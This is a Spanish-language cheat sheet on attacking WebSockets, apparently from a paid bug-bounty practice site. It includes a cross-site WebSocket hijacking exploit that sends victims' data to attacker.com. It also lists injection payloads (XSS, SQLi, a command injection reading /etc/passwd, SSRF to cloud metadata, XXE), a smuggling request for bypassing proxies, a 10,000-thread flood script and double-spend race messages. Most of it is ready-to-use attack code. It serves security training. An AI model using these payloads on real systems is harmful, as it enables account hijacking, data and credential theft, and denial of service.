Nuevos labs cada semana — Accede a todos desde 5€/mes

Cheatsheet WebSockets

Ataques a WebSockets

Referencia rápida

  • CSWSH es el equivalente de CSRF para WebSockets - las cookies se envian automaticamente en el handshake
  • Probar Origin con: evil.com, null, 127.0.0.1, 192.168.1.1, file://
  • Todos los tipos de inyeccion (XSS, SQLi, SSRF) aplican tambien via mensajes WebSocket
  • WebSocket smuggling permite bypass completo del proxy/WAF
  • Si permessage-deflate esta activo, probar compression bombs

CSWSH - Cross-Site WebSocket Hijacking

Verificar vulnerabilidadLas cookies se envian automaticamente en el handshake

1. Capturar WebSocket handshake en Burp
2. Cambiar header Origin a https://evil.com
3. Si el servidor acepta la conexion = vulnerable

Exploit CSWSH

<script>
var ws = new WebSocket("wss://target.com/ws");
ws.onopen = function() {
    ws.send(JSON.stringify({"action": "getProfile"}));
};
ws.onmessage = function(event) {
    fetch("https://attacker.com/steal?data=" + encodeURIComponent(event.data));
};
</script>

Origin con IP localAlgunos servidores aceptan IPs locales como origin valido

Origin: http://127.0.0.1

Origin nullProbar tambien: file://, empty string, http://0.0.0.0

Origin: null

Inyeccion de payloads via WS

XSS via WebSocket

{"message": "<img src=x onerror=alert(1)>"}

SQLi via WebSocket

{"query": "' OR 1=1--"}

Command injection via WS

{"cmd": "; cat /etc/passwd"}

SSRF via WebSocket

{"url": "http://169.254.169.254/latest/meta-data/"}

IDOR via WebSocket

{"action": "getProfile", "userId": "victim-id-123"}

XXE via WebSocket

{"data": "<?xml version='1.0'?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><foo>&xxe;</foo>"}

WebSocket Smuggling

Concepto

1. Enviar peticion de upgrade a WebSocket
2. El proxy cree que es WebSocket, backend rechaza upgrade
3. El proxy deja de inspeccionar trafico
4. Enviar HTTP arbitrario al backend sin inspeccion del proxy

Upgrade fakeSi el proxy acepta pero el backend no, se crea un tunel sin inspeccion

GET /ws HTTP/1.1
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

DoS y race conditions en WS

Connection flood

import websocket, threading
def connect():
    ws = websocket.WebSocket()
    ws.connect("wss://target.com/ws")
    while True: pass
for i in range(10000):
    threading.Thread(target=connect).start()

Compression bombSimilar a zip bomb pero via WebSocket

Enviar datos altamente comprimibles cuando permessage-deflate esta activo

Race condition en transferenciasDoble gasto si las operaciones no son atomicas

Enviar dos mensajes de transferencia simultaneos:
ws.send('{"action":"transfer","amount":100}')
ws.send('{"action":"transfer","amount":100}')

Herramientas

ws-smuggler

Herramienta de WebSocket smuggling para bypass de proxies

python3 ws-smuggler.py -u https://target.com/ws

Burp Suite WebSocket

Interceptar y modificar mensajes WebSocket en tiempo real

Burp > Proxy > WebSocket history

websocat

Cliente WebSocket CLI para testing manual e interactivo

websocat wss://target.com/ws

¿Listo para practicar?

Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.

Ver labs de práctica